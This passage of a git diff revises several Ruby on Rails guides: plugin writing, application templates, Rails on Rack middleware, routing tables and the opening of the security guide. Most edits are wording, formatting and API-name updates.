ActsAsYaffleTest < ActiveSupport::TestCase end ``` ```ruby # yaffle/lib/yaffle.rb -require "yaffle/core_ext" +require 'yaffle/core_ext' require 'yaffle/acts_as_yaffle' module Yaffle @@ -162,9 +168,9 @@ end ### Add a Class Method -This plugin will expect that you've added a method to your model named 'last_squawk'. However, the -plugin users might have already defined a method on their model named 'last_squawk' that they use -for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'. +This plugin will expect that you've added a method to your model named `last_squawk`. However, the +plugin users might have already defined a method on their model named `last_squawk` that they use +for something else. This plugin will allow the name to be changed by adding a class method called `yaffle_text_field`. To start out, write a failing test that shows the behavior you'd like: @@ -173,7 +179,7 @@ To start out, write a failing test that shows the behavior you'd like: require 'test_helper' -class ActsAsYaffleTest < Test::Unit::TestCase +class ActsAsYaffleTest < ActiveSupport::TestCase def test_a_hickwalls_yaffle_text_field_should_be_last_squawk assert_equal "last_squawk", Hickwall.yaffle_text_field @@ -213,12 +219,11 @@ $ rails generate model Wickwall last_squawk:string last_tweet:string ``` Now you can create the necessary database tables in your testing database by navigating to your dummy app -and migrating the database. First +and migrating the database. First, run: ```bash $ cd test/dummy $ rake db:migrate -$ rake db:test:prepare ``` While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act @@ -239,7 +244,7 @@ end ``` -We will also add code to define the acts_as_yaffle method. +We will also add code to define the `acts_as_yaffle` method. ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -280,7 +285,7 @@ You can then return to the root directory (`cd ../..`) of your plugin and rerun ``` -Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass. +Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass. ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -304,7 +309,7 @@ end ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle ``` -When you run `rake` you should see the tests all pass: +When you run `rake`, you should see the tests all pass: ```bash 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips @@ -321,7 +326,7 @@ To start out, write a failing test that shows the behavior you'd like: # yaffle/test/acts_as_yaffle_test.rb require 'test_helper' -class ActsAsYaffleTest < Test::Unit::TestCase +class ActsAsYaffleTest < ActiveSupport::TestCase def test_a_hickwalls_yaffle_text_field_should_be_last_squawk assert_equal "last_squawk", Hickwall.yaffle_text_field @@ -384,7 +389,11 @@ Run `rake` one final time and you should see: 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips ``` -NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`. +NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use: + +```ruby +send("#{self.class.yaffle_text_field}=", string.to_squawk) +``` Generators ---------- @@ -392,7 +401,7 @@ Generators Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about the creation of generators can be found in the [Generators Guide](generators.html) -Publishing your Gem +Publishing Your Gem ------------------- Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply @@ -405,12 +414,12 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git' After running `bundle install`, your gem functionality will be available to the application. When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org). -For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html) +For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html). RDoc Documentation ------------------ -Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. +Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md index f8062a1f7c..e4222e1283 100644 --- a/guides/source/rails_application_templates.md +++ b/guides/source/rails_application_templates.md @@ -47,7 +47,7 @@ The following sections outline the primary methods provided by the API: ### gem(*args) -Adds a `gem` entry for the supplied gem to the generated application’s `Gemfile`. +Adds a `gem` entry for the supplied gem to the generated application's `Gemfile`. For example, if your application depends on the gems `bj` and `nokogiri`: @@ -78,7 +78,7 @@ end Adds the given source to the generated application's `Gemfile`. -For example, if you need to source a gem from "http://code.whytheluckystiff.net": +For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`: ```ruby add_source "http://code.whytheluckystiff.net" @@ -98,7 +98,7 @@ A block can be used in place of the `data` argument. ### vendor/lib/file/initializer(filename, data = nil, &block) -Adds an initializer to the generated application’s `config/initializers` directory. +Adds an initializer to the generated application's `config/initializers` directory. Let's say you like using `Object#not_nil?` and `Object#not_blank?`: @@ -127,7 +127,7 @@ file 'app/components/foo.rb', <<-CODE CODE ``` -That’ll create the `app/components` directory and put `foo.rb` in there. +That'll create the `app/components` directory and put `foo.rb` in there. ### rakefile(filename, data = nil, &block) @@ -197,7 +197,7 @@ end ### ask(question) -`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you’re adding: +`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you're adding: ```ruby lib_name = ask("What do you want to call the shiny library ?") @@ -211,7 +211,7 @@ CODE ### yes?(question) or no?(question) -These methods let you ask questions from templates and decide the flow based on the user’s answer. Let's say you want to freeze rails only if the user wants to: +These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to freeze rails only if the user wants to: ```ruby rake("rails:freeze:gems") if yes?("Freeze rails gems?") @@ -227,3 +227,22 @@ git :init git add: "." git commit: "-a -m 'Initial commit'" ``` + +Advanced Usage +-------------- + +The application template is evaluated in the context of a +`Rails::Generators::AppGenerator` instance. It uses the `apply` action +provided by +[Thor](https://github.com/erikhuda/thor/blob/master/lib/thor/actions.rb#L207). +This means you can extend and change the instance to match your needs. + +For example by overwriting the `source_paths` method to contain the +location of your template. Now methods like `copy_file` will accept +relative paths to your template's location. + +```ruby +def source_paths + [File.expand_path(File.dirname(__FILE__))] +end +``` diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md index d144fba762..b1b4c8fa4e 100644 --- a/guides/source/rails_on_rack.md +++ b/guides/source/rails_on_rack.md @@ -5,7 +5,6 @@ This guide covers Rails integration with Rack and interfacing with other Rack co After reading this guide, you will know: -* How to create Rails Metal applications. * How to use Rack Middlewares in your Rails applications. * Action Pack's internal Middleware stack. * How to define a custom Middleware stack. @@ -28,10 +27,9 @@ Rails on Rack ### Rails Application's Rack Object -`ApplicationName::Application` is the primary Rack application object of a Rails +`Rails.application` is the primary Rack application object of a Rails application. Any Rack compliant web server should be using -`ApplicationName::Application` object to serve a Rails -application. `Rails.application` refers to the same application object. +`Rails.application` object to serve a Rails application. ### `rails server` @@ -84,7 +82,7 @@ To use `rackup` instead of Rails' `rails server`, you can put the following insi # Rails.root/config.ru require ::File.expand_path('../config/environment', __FILE__) -use Rack::Debugger +use Rails::Rack::Debugger use Rack::ContentLength run Rails.application ``` @@ -119,6 +117,7 @@ $ rake middleware For a freshly generated Rails application, this might produce something like: ```ruby +use Rack::Sendfile use ActionDispatch::Static use Rack::Lock use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838> @@ -141,10 +140,10 @@ use ActionDispatch::ParamsParser use Rack::Head use Rack::ConditionalGet use Rack::ETag -run MyApp::Application.routes +run Rails.application.routes ``` -Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section. +The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below. ### Configuring Middleware Stack @@ -182,18 +181,17 @@ You can swap an existing middleware in the middleware stack using `config.middle config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions ``` -#### Middleware Stack is an Enumerable +#### Deleting a Middleware -The middleware stack behaves just like a normal `Enumerable`. You can use any `Enumerable` methods to manipulate or interrogate the stack. The middleware stack also implements some `Array` methods including `[]`, `unshift` and `delete`. Methods described in the section above are just convenience methods. - -Append following lines to your application configuration: +Add the following lines to your application configuration: ```ruby # config/application.rb config.middleware.delete "Rack::Lock" ``` -And now if you inspect the middleware stack, you'll find that `Rack::Lock` will not be part of it. +And now if you inspect the middleware stack, you'll find that `Rack::Lock` is +not a part of it. ```bash $ rake middleware @@ -202,7 +200,7 @@ use ActionDispatch::Static use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8> use Rack::Runtime ... -run Blog::Application.routes +run Rails.application.routes ``` If you want to remove session related middleware, do the following: @@ -225,116 +223,100 @@ config.middleware.delete "Rack::MethodOverride" Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them: - **`ActionDispatch::Static`** +**`Rack::Sendfile`** + +* Sets server specific X-Sendfile header. Configure this via `config.action_dispatch.x_sendfile_header` option. -* Used to serve static assets. Disabled if `config.serve_static_assets` is true. +**`ActionDispatch::Static`** - **`Rack::Lock`** +* Used to serve static assets. Disabled if `config.serve_static_assets` is `false`. + +**`Rack::Lock`** * Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex. - **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`** +**`ActiveSupport::Cache::Strategy::LocalCache::Middleware`** * Used for memory caching. This cache is not thread safe. - **`Rack::Runtime`** +**`Rack::Runtime`** * Sets an X-Runtime header, containing the time (in seconds) taken to execute the request. - **`Rack::MethodOverride`** +**`Rack::MethodOverride`** * Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types. - **`ActionDispatch::RequestId`** +**`ActionDispatch::RequestId`** * Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method. - **`Rails::Rack::Logger`** +**`Rails::Rack::Logger`** * Notifies the logs that the request has began. After request is complete, flushes all the logs. - **`ActionDispatch::ShowExceptions`** +**`ActionDispatch::ShowExceptions`** * Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user. - **`ActionDispatch::DebugExceptions`** +**`ActionDispatch::DebugExceptions`** * Responsible for logging exceptions and showing a debugging page in case the request is local. - **`ActionDispatch::RemoteIp`** +**`ActionDispatch::RemoteIp`** * Checks for IP spoofing attacks. - **`ActionDispatch::Reloader`** +**`ActionDispatch::Reloader`** * Provides prepare and cleanup callbacks, intended to assist with code reloading during development. - **`ActionDispatch::Callbacks`** +**`ActionDispatch::Callbacks`** * Runs the prepare callbacks before serving the request. - **`ActiveRecord::Migration::CheckPending`** +**`ActiveRecord::Migration::CheckPending`** * Checks pending migrations and raises `ActiveRecord::PendingMigrationError` if any migrations are pending. - **`ActiveRecord::ConnectionAdapters::ConnectionManagement`** +**`ActiveRecord::ConnectionAdapters::ConnectionManagement`** * Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`. - **`ActiveRecord::QueryCache`** +**`ActiveRecord::QueryCache`** * Enables the Active Record query cache. - **`ActionDispatch::Cookies`** +**`ActionDispatch::Cookies`** * Sets cookies for the request. - **`ActionDispatch::Session::CookieStore`** +**`ActionDispatch::Session::CookieStore`** * Responsible for storing the session in cookies. - **`ActionDispatch::Flash`** +**`ActionDispatch::Flash`** * Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value. - **`ActionDispatch::ParamsParser`** +**`ActionDispatch::ParamsParser`** * Parses out parameters from the request into `params`. - **`ActionDispatch::Head`** +**`ActionDispatch::Head`** * Converts HEAD requests to `GET` requests and serves them as so. - **`Rack::ConditionalGet`** +**`Rack::ConditionalGet`** * Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed. - **`Rack::ETag`** +**`Rack::ETag`** * Adds ETag header on all String bodies. ETags are used to validate cache. TIP: It's possible to use any of the above middlewares in your custom Rack stack. -### Using Rack Builder - -The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`. - -<strong>Clear the existing Rails middleware stack</strong> - -```ruby -# config/application.rb -config.middleware.clear -``` - -<br /> -<strong>Add a `config.ru` file to `Rails.root`</strong> - -```ruby -# config.ru -use MyOwnStackFromScratch -run Rails.application -``` - Resources --------- diff --git a/guides/source/routing.md b/guides/source/routing.md index 76c4c25108..0783bce442 100644 --- a/guides/source/routing.md +++ b/guides/source/routing.md @@ -89,15 +89,15 @@ resources :photos creates seven different routes in your application, all mapping to the `Photos` controller: -| HTTP Verb | Path | Action | Used for | -| --------- | ---------------- | ------- | -------------------------------------------- | -| GET | /photos | index | display a list of all photos | -| GET | /photos/new | new | return an HTML form for creating a new photo | -| POST | /photos | create | create a new photo | -| GET | /photos/:id | show | display a specific photo | -| GET | /photos/:id/edit | edit | return an HTML form for editing a photo | -| PATCH/PUT | /photos/:id | update | update a specific photo | -| DELETE | /photos/:id | destroy | delete a specific photo | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | ---------------- | ----------------- | -------------------------------------------- | +| GET | /photos | photos#index | display a list of all photos | +| GET | /photos/new | photos#new | return an HTML form for creating a new photo | +| POST | /photos | photos#create | create a new photo | +| GET | /photos/:id | photos#show | display a specific photo | +| GET | /photos/:id/edit | photos#edit | return an HTML form for editing a photo | +| PATCH/PUT | /photos/:id | photos#update | update a specific photo | +| DELETE | /photos/:id | photos#destroy | delete a specific photo | NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions. @@ -138,7 +138,7 @@ Sometimes, you have a resource that clients always look up without referencing a get 'profile', to: 'users#show' ``` -Passing a `String` to `match` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action: +Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action: ```ruby get 'profile', to: :show @@ -152,14 +152,14 @@ resource :geocoder creates six different routes in your application, all mapping to the `Geocoders` controller: -| HTTP Verb | Path | Action | Used for | -| --------- | -------------- | ------- | --------------------------------------------- | -| GET | /geocoder/new | new | return an HTML form for creating the geocoder | -| POST | /geocoder | create | create the new geocoder | -| GET | /geocoder | show | display the one and only geocoder resource | -| GET | /geocoder/edit | edit | return an HTML form for editing the geocoder | -| PATCH/PUT | /geocoder | update | update the one and only geocoder resource | -| DELETE | /geocoder | destroy | delete the geocoder resource | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | -------------- | ----------------- | --------------------------------------------- | +| GET | /geocoder/new | geocoders#new | return an HTML form for creating the geocoder | +| POST | /geocoder | geocoders#create | create the new geocoder | +| GET | /geocoder | geocoders#show | display the one and only geocoder resource | +| GET | /geocoder/edit | geocoders#edit | return an HTML form for editing the geocoder | +| PATCH/PUT | /geocoder | geocoders#update | update the one and only geocoder resource | +| DELETE | /geocoder | geocoders#destroy | delete the geocoder resource | NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`). @@ -189,15 +189,15 @@ end This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create: -| HTTP Verb | Path | Action | Used for | -| --------- | --------------------- | ------- | ------------------------- | -| GET | /admin/posts | index | admin_posts_path | -| GET | /admin/posts/new | new | new_admin_post_path | -| POST | /admin/posts | create | admin_posts_path | -| GET | /admin/posts/:id | show | admin_post_path(:id) | -| GET | /admin/posts/:id/edit | edit | edit_admin_post_path(:id) | -| PATCH/PUT | /admin/posts/:id | update | admin_post_path(:id) | -| DELETE | /admin/posts/:id | destroy | admin_post_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | --------------------- | ------------------- | ------------------------- | +| GET | /admin/posts | admin/posts#index | admin_posts_path | +| GET | /admin/posts/new | admin/posts#new | new_admin_post_path | +| POST | /admin/posts | admin/posts#create | admin_posts_path | +| GET | /admin/posts/:id | admin/posts#show | admin_post_path(:id) | +| GET | /admin/posts/:id/edit | admin/posts#edit | edit_admin_post_path(:id) | +| PATCH/PUT | /admin/posts/:id | admin/posts#update | admin_post_path(:id) | +| DELETE | /admin/posts/:id | admin/posts#destroy | admin_post_path(:id) | If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use: @@ -229,15 +229,17 @@ resources :posts, path: '/admin/posts' In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`: -| HTTP Verb | Path | Action | Named Helper | -| --------- | --------------------- | ------- | ------------------- | -| GET | /admin/posts | index | posts_path | -| GET | /admin/posts/new | new | new_post_path | -| POST | /admin/posts | create | posts_path | -| GET | /admin/posts/:id | show | post_path(:id) | -| GET | /admin/posts/:id/edit | edit | edit_post_path(:id) | -| PATCH/PUT | /admin/posts/:id | update | post_path(:id) | -| DELETE | /admin/posts/:id | destroy | post_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | --------------------- | ----------------- | ------------------- | +| GET | /admin/posts | posts#index | posts_path | +| GET | /admin/posts/new | posts#new | new_post_path | +| POST | /admin/posts | posts#create | posts_path | +| GET | /admin/posts/:id | posts#show | post_path(:id) | +| GET | /admin/posts/:id/edit | posts#edit | edit_post_path(:id) | +| PATCH/PUT | /admin/posts/:id | posts#update | post_path(:id) | +| DELETE | /admin/posts/:id | posts#destroy | post_path(:id) | + +TIP: _If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get '/foo' => '/foo#index'`._ ### Nested Resources @@ -263,15 +265,15 @@ end In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine: -| HTTP Verb | Path | Action | Used for | -| --------- | ------------------------------------ | ------- | -------------------------------------------------------------------------- | -| GET | /magazines/:magazine_id/ads | index | display a list of all ads for a specific magazine | -| GET | /magazines/:magazine_id/ads/new | new | return an HTML form for creating a new ad belonging to a specific magazine | -| POST | /magazines/:magazine_id/ads | create | create a new ad belonging to a specific magazine | -| GET | /magazines/:magazine_id/ads/:id | show | display a specific ad belonging to a specific magazine | -| GET | /magazines/:magazine_id/ads/:id/edit | edit | return an HTML form for editing an ad belonging to a specific magazine | -| PATCH/PUT | /magazines/:magazine_id/ads/:id | update | update a specific ad belonging to a specific magazine | -| DELETE | /magazines/:magazine_id/ads/:id | destroy | delete a specific ad belonging to a specific magazine | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | ------------------------------------ | ----------------- | -------------------------------------------------------------------------- | +| GET | /magazines/:magazine_id/ads | ads#index | display a list of all ads for a specific magazine | +| GET | /magazines/:magazine_id/ads/new | ads#new | return an HTML form for creating a new ad belonging to a specific magazine | +| POST | /magazines/:magazine_id/ads | ads#create | create a new ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id | ads#show | display a specific ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id/edit | ads#edit | return an HTML form for editing an ad belonging to a specific magazine | +| PATCH/PUT | /magazines/:magazine_id/ads/:id | ads#update | update a specific ad belonging to a specific magazine | +| DELETE | /magazines/:magazine_id/ads/:id | ads#destroy | delete a specific ad belonging to a specific magazine | This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`). @@ -338,7 +340,7 @@ shallow do end ``` -There exists two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter: +There exist two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter: ```ruby scope shallow_path: "sekret" do @@ -350,15 +352,15 @@ end The comments resource here will have the following routes generated for it: -| HTTP Verb | Path | Named Helper | -| --------- | -------------------------------------- | ------------------- | -| GET | /posts/:post_id/comments(.:format) | post_comments | -| POST | /posts/:post_id/comments(.:format) | post_comments | -| GET | /posts/:post_id/comments/new(.:format) | new_post_comment | -| GET | /sekret/comments/:id/edit(.:format) | edit_comment | -| GET | /sekret/comments/:id(.:format) | comment | -| PATCH/PUT | /sekret/comments/:id(.:format) | comment | -| DELETE | /sekret/comments/:id(.:format) | comment | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------------------- | ----------------- | --------------------- | +| GET | /posts/:post_id/comments(.:format) | comments#index | post_comments_path | +| POST | /posts/:post_id/comments(.:format) | comments#create | post_comments_path | +| GET | /posts/:post_id/comments/new(.:format) | comments#new | new_post_comment_path | +| GET | /sekret/comments/:id/edit(.:format) | comments#edit | edit_comment_path | +| GET | /sekret/comments/:id(.:format) | comments#show | comment_path | +| PATCH/PUT | /sekret/comments/:id(.:format) | comments#update | comment_path | +| DELETE | /sekret/comments/:id(.:format) | comments#destroy | comment_path | The `:shallow_prefix` option adds the specified parameter to the named helpers: @@ -372,19 +374,19 @@ end The comments resource here will have the following routes generated for it: -| HTTP Verb | Path | Named Helper | -| --------- | -------------------------------------- | ------------------- | -| GET | /posts/:post_id/comments(.:format) | post_comments | -| POST | /posts/:post_id/comments(.:format) | post_comments | -| GET | /posts/:post_id/comments/new(.:format) | new_post_comment | -| GET | /comments/:id/edit(.:format) | edit_sekret_comment | -| GET | /comments/:id(.:format) | sekret_comment | -| PATCH/PUT | /comments/:id(.:format) | sekret_comment | -| DELETE | /comments/:id(.:format) | sekret_comment | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------------------- | ----------------- | ------------------------ | +| GET | /posts/:post_id/comments(.:format) | comments#index | post_comments_path | +| POST | /posts/:post_id/comments(.:format) | comments#create | post_comments_path | +| GET | /posts/:post_id/comments/new(.:format) | comments#new | new_post_comment_path | +| GET | /comments/:id/edit(.:format) | comments#edit | edit_sekret_comment_path | +| GET | /comments/:id(.:format) | comments#show | sekret_comment_path | +| PATCH/PUT | /comments/:id(.:format) | comments#update | sekret_comment_path | +| DELETE | /comments/:id(.:format) | comments#destroy | sekret_comment_path | ### Routing concerns -Routing Concerns allows you to declare common routes that can be reused inside others resources and routes. To define a concern: +Routing Concerns allows you to declare common routes that can be reused inside other resources and routes. To define a concern: ```ruby concern :commentable do @@ -485,7 +487,10 @@ end This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers. -Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `patch`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block: +Within the block of member routes, each route name specifies the HTTP verb +will be recognized. You can use `get`, `patch`, `put`, `post`, or `delete` here +. If you don't have multiple `member` routes, you can also pass `:on` to a +route, eliminating the block: ```ruby resources :photos do @@ -626,7 +631,7 @@ This will define a `user_path` method that will be available in controllers, hel ### HTTP Verb Constraints -In general, you should use the `get`, `post`, `put` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once: +In general, you should use the `get`, `post`, `put`, `patch` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once: ```ruby match 'photos', to: 'photos#show', via: [:get, :post] @@ -689,6 +694,8 @@ namespace :admin do end ``` +NOTE: Request constraints work by calling a method on the <a href="action_controller_overview.html#the-request-object">Request object</a> with the same name as the hash key and then compare the return value with the hash value. Therefore, constraint values should match the corresponding Request object method return type. For example: `constraints: { subdomain: 'api' }` will match an `api` subdomain as expected, however using a symbol `constraints: { subdomain: :api }` will not, because `request.subdomain` returns `'api'` as a String. + ### Advanced Constraints If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do: @@ -704,7 +711,7 @@ class BlacklistConstraint end end -TwitterClone::Application.routes.draw do +Rails.application.routes.draw do get '*path', to: 'blacklist#index', constraints: BlacklistConstraint.new end @@ -713,7 +720,7 @@ end You can also specify constraints as a lambda: ```ruby -TwitterClone::Application.routes.draw do +Rails.application.routes.draw do get '*path', to: 'blacklist#index', constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) } end @@ -842,15 +849,15 @@ resources :photos, controller: 'images' will recognize incoming paths beginning with `/photos` but route to the `Images` controller: -| HTTP Verb | Path | Action | Named Helper | -| --------- | ---------------- | ------- | -------------------- | -| GET | /photos | index | photos_path | -| GET | /photos/new | new | new_photo_path | -| POST | /photos | create | photos_path | -| GET | /photos/:id | show | photo_path(:id) | -| GET | /photos/:id/edit | edit | edit_photo_path(:id) | -| PATCH/PUT | /photos/:id | update | photo_path(:id) | -| DELETE | /photos/:id | destroy | photo_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ---------------- | ----------------- | -------------------- | +| GET | /photos | images#index | photos_path | +| GET | /photos/new | images#new | new_photo_path | +| POST | /photos | images#create | photos_path | +| GET | /photos/:id | images#show | photo_path(:id) | +| GET | /photos/:id/edit | images#edit | edit_photo_path(:id) | +| PATCH/PUT | /photos/:id | images#update | photo_path(:id) | +| DELETE | /photos/:id | images#destroy | photo_path(:id) | NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource. @@ -863,8 +870,8 @@ resources :user_permissions, controller: 'admin/user_permissions' This will route to the `Admin::UserPermissions` controller. NOTE: Only the directory notation is supported. Specifying the -controller with Ruby constant notation (eg. `:controller => -'Admin::UserPermissions'`) can lead to routing problems and results in +controller with Ruby constant notation (eg. `controller: 'Admin::UserPermissions'`) +can lead to routing problems and results in a warning. ### Specifying Constraints @@ -900,15 +907,15 @@ resources :photos, as: 'images' will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers. -| HTTP Verb | Path | Action | Named Helper | -| --------- | ---------------- | ------- | -------------------- | -| GET | /photos | index | images_path | -| GET | /photos/new | new | new_image_path | -| POST | /photos | create | images_path | -| GET | /photos/:id | show | image_path(:id) | -| GET | /photos/:id/edit | edit | edit_image_path(:id) | -| PATCH/PUT | /photos/:id | update | image_path(:id) | -| DELETE | /photos/:id | destroy | image_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ---------------- | ----------------- | -------------------- | +| GET | /photos | photos#index | images_path | +| GET | /photos/new | photos#new | new_image_path | +| POST | /photos | photos#create | images_path | +| GET | /photos/:id | photos#show | image_path(:id) | +| GET | /photos/:id/edit | photos#edit | edit_image_path(:id) | +| PATCH/PUT | /photos/:id | photos#update | image_path(:id) | +| DELETE | /photos/:id | photos#destroy | image_path(:id) | ### Overriding the `new` and `edit` Segments @@ -1005,15 +1012,15 @@ end Rails now creates routes to the `CategoriesController`. -| HTTP Verb | Path | Action | Used for | -| --------- | -------------------------- | ------- | ----------------------- | -| GET | /kategorien | index | categories_path | -| GET | /kategorien/neu | new | new_category_path | -| POST | /kategorien | create | categories_path | -| GET | /kategorien/:id | show | category_path(:id) | -| GET | /kategorien/:id/bearbeiten | edit | edit_category_path(:id) | -| PATCH/PUT | /kategorien/:id | update | category_path(:id) | -| DELETE | /kategorien/:id | destroy | category_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------- | ------------------ | ----------------------- | +| GET | /kategorien | categories#index | categories_path | +| GET | /kategorien/neu | categories#new | new_category_path | +| POST | /kategorien | categories#create | categories_path | +| GET | /kategorien/:id | categories#show | category_path(:id) | +| GET | /kategorien/:id/bearbeiten | categories#edit | edit_category_path(:id) | +| PATCH/PUT | /kategorien/:id | categories#update | category_path(:id) | +| DELETE | /kategorien/:id | categories#destroy | category_path(:id) | ### Overriding the Singular Form diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md index 5564b0648b..8faf03e58c 100644 --- a/guides/source/ruby_on_rails_guides_guidelines.md +++ b/guides/source/ruby_on_rails_guides_guidelines.md @@ -51,7 +51,7 @@ Use the same typography as in regular text: API Documentation Guidelines ---------------------------- -The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:) +The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html): * [Wording](api_documentation_guidelines.html#wording) * [Example Code](api_documentation_guidelines.html#example-code) diff --git a/guides/source/security.md b/guides/source/security.md index ad0546810d..0f4d4e712b 100644 --- a/guides/source/security.md +++ b/guides/source/security.md @@ -17,7 +17,7 @@ After reading this guide, you will know: Introduction ------------ -Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security. +Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security. In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). @@ -58,9 +58,9 @@ WARNING: _Stealing a user's session id lets an attacker use the web application Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session. -Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: +Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: -* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to 